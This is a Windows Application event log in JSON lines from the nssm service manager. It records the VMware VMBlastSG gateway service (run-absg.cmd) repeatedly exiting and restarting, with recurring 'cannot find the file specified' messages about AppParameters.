{"@timestamp":1646735321683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160715}}
{"@timestamp":1646735321683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160716}}
{"@timestamp":1646735321684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160717}}
{"@timestamp":1646735450184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160718}}
{"@timestamp":1646735450186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160719}}
{"@timestamp":1646735450186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155336","0"]}}},"module":"Application","provider":"nssm","sequence":160720}}
{"@timestamp":1646735450186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155336","155336","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160721}}
{"@timestamp":1646735450203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160722}}
{"@timestamp":1646735450204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160723}}
{"@timestamp":1646735450204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160724}}
{"@timestamp":1646735450205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160725}}
{"@timestamp":1646735578707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160726}}
{"@timestamp":1646735578708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160727}}
{"@timestamp":1646735578708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155560","0"]}}},"module":"Application","provider":"nssm","sequence":160728}}
{"@timestamp":1646735578710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155560","155560","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160729}}
{"@timestamp":1646735578731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160730}}
{"@timestamp":1646735578732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160731}}
{"@timestamp":1646735578733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160732}}
{"@timestamp":1646735578733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160733}}
{"@timestamp":1646735707309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160734}}
{"@timestamp":1646735707309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160735}}
{"@timestamp":1646735707310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157240","0"]}}},"module":"Application","provider":"nssm","sequence":160736}}
{"@timestamp":1646735707311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157240","157240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160737}}
{"@timestamp":1646735707327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160738}}
{"@timestamp":1646735707327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160739}}
{"@timestamp":1646735707328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160740}}
{"@timestamp":1646735707329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160741}}
{"@timestamp":1646735835818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160742}}
{"@timestamp":1646735835819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160743}}
{"@timestamp":1646735835820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156712","0"]}}},"module":"Application","provider":"nssm","sequence":160744}}
{"@timestamp":1646735835823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156712","156712","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160745}}
{"@timestamp":1646735835843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160746}}
{"@timestamp":1646735835843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160747}}
{"@timestamp":1646735835844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160748}}
{"@timestamp":1646735835845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160749}}
{"@timestamp":1646735964339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160750}}
{"@timestamp":1646735964339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160751}}
{"@timestamp":1646735964340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154248","0"]}}},"module":"Application","provider":"nssm","sequence":160752}}
{"@timestamp":1646735964341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154248","154248","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160753}}
{"@timestamp":1646735964359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160754}}
{"@timestamp":1646735964359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160755}}
{"@timestamp":1646735964360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160756}}
{"@timestamp":1646735964361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160757}}
{"@timestamp":1646736092864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160758}}
{"@timestamp":1646736092865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160759}}
{"@timestamp":1646736092866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158096","0"]}}},"module":"Application","provider":"nssm","sequence":160760}}
{"@timestamp":1646736092866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158096","158096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160761}}
{"@timestamp":1646736092883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158104","0"]}}},"module":"Application","provider":"nssm","sequence":160762}}
{"@timestamp":1646736092883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158104","158096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160763}}
{"@timestamp":1646736092899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160764}}
{"@timestamp":1646736092900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160765}}
{"@timestamp":1646736092900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160766}}
{"@timestamp":1646736092901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160767}}
{"@timestamp":1646736221387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160768}}
{"@timestamp":1646736221388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160769}}
{"@timestamp":1646736221389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158688","0"]}}},"module":"Application","provider":"nssm","sequence":160770}}
{"@timestamp":1646736221389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158688","158688","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160771}}
{"@timestamp":1646736221406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160772}}
{"@timestamp":1646736221406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160773}}
{"@timestamp":1646736221407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160774}}
{"@timestamp":1646736221408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160775}}
{"@timestamp":1646736349903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160776}}
{"@timestamp":1646736349904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160777}}
{"@timestamp":1646736349905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158276","0"]}}},"module":"Application","provider":"nssm","sequence":160778}}
{"@timestamp":1646736349906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158276","158276","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160779}}
{"@timestamp":1646736349923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160780}}
{"@timestamp":1646736349924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160781}}
{"@timestamp":1646736349924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160782}}
{"@timestamp":1646736349925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160783}}
{"@timestamp":1646736478437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160784}}
{"@timestamp":1646736478438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160785}}
{"@timestamp":1646736478438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156900","0"]}}},"module":"Application","provider":"nssm","sequence":160786}}
{"@timestamp":1646736478439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156900","156900","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160787}}
{"@timestamp":1646736478460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160788}}
{"@timestamp":1646736478460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160789}}
{"@timestamp":1646736478461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160790}}
{"@timestamp":1646736478461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160791}}
{"@timestamp":1646736606948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160792}}
{"@timestamp":1646736606949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160793}}
{"@timestamp":1646736606949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158200","0"]}}},"module":"Application","provider":"nssm","sequence":160794}}
{"@timestamp":1646736606950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158200","158200","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160795}}
{"@timestamp":1646736606967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160796}}
{"@timestamp":1646736606968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160797}}
{"@timestamp":1646736606968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160798}}
{"@timestamp":1646736606969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160799}}
{"@timestamp":1646736735460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160800}}
{"@timestamp":1646736735463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160801}}
{"@timestamp":1646736735463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158536","0"]}}},"module":"Application","provider":"nssm","sequence":160802}}
{"@timestamp":1646736735464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158536","158536","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160803}}
{"@timestamp":1646736735484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160804}}
{"@timestamp":1646736735485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160805}}
{"@timestamp":1646736735485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160806}}
{"@timestamp":1646736735486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160807}}
{"@timestamp":1646736864003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160808}}
{"@timestamp":1646736864004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160809}}
{"@timestamp":1646736864005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158420","0"]}}},"module":"Application","provider":"nssm","sequence":160810}}
{"@timestamp":1646736864006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158420","158420","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160811}}
{"@timestamp":1646736864022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158360","0"]}}},"module":"Application","provider":"nssm","sequence":160812}}
{"@timestamp":1646736864023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158360","158420","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160813}}
{"@timestamp":1646736864039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160814}}
{"@timestamp":1646736864040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160815}}
{"@timestamp":1646736864040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160816}}
{"@timestamp":1646736864041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160817}}
{"@timestamp":1646736992547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160818}}
{"@timestamp":1646736992548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160819}}
{"@timestamp":1646736992549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156992","0"]}}},"module":"Application","provider":"nssm","sequence":160820}}
